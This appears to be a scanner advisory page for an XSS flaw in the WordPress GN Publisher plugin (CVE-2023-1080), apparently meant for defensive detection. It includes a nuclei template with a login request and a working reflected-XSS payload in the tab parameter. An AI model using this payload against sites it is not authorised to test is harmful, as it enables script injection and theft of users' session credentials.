WordPress GN Publisher <1.5.6 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.3%likelihood of exploitation, next 30 days

70%of all CVEs are less likely

Readycheck to confirm it

WordPress GN Publisher plugin before 1.5.6 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.

Fix

Fixed in version 1.5.6.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/options-general.php?page=gn-publisher-settings&tab=%22%2F+onmouseover%3Dalert%28document.domain%29%3B%2F%2F
Positive when: status_code_2 == 200 and contains(header_2, "text/html") and contains(body_2, "/ onmouseover=alert(document.domain);//") and contains(body_2, "GN Publisher")

Run it with nuclei: nuclei -id CVE-2023-1080 -u <target>

The full check

id: CVE-2023-1080

info:
  name: WordPress GN Publisher <1.5.6 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress GN Publisher plugin before 1.5.6 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
  remediation: Fixed in version 1.5.6.
  reference:
    - https://wpscan.com/vulnerability/fcbcfb56-640d-4071-bc12-acac1b1e7a74
    - https://wordpress.org/plugins/gn-publisher/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/8a4ee97c-63cd-4a5e-a112-6d4c4c627a57
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1080
    - https://plugins.trac.wordpress.org/browser/gn-publisher/trunk/templates/settings.php#L70
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-1080
    cwe-id: CWE-79
    epss-score: 0.0126
    epss-percentile: 0.69858
    cpe: cpe:2.3:a:gnpublisher:gn_publisher:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: gnpublisher
    product: gn_publisher
    framework: wordpress
  tags: cve2023,cve,wp-plugin,wordpress,gn-publisher,authenticated,wp,xss,wpscan,gnpublisher,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/options-general.php?page=gn-publisher-settings&tab=%22%2F+onmouseover%3Dalert%28document.domain%29%3B%2F%2F HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "/ onmouseover=alert(document.domain);//")'
          - 'contains(body_2, "GN Publisher")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from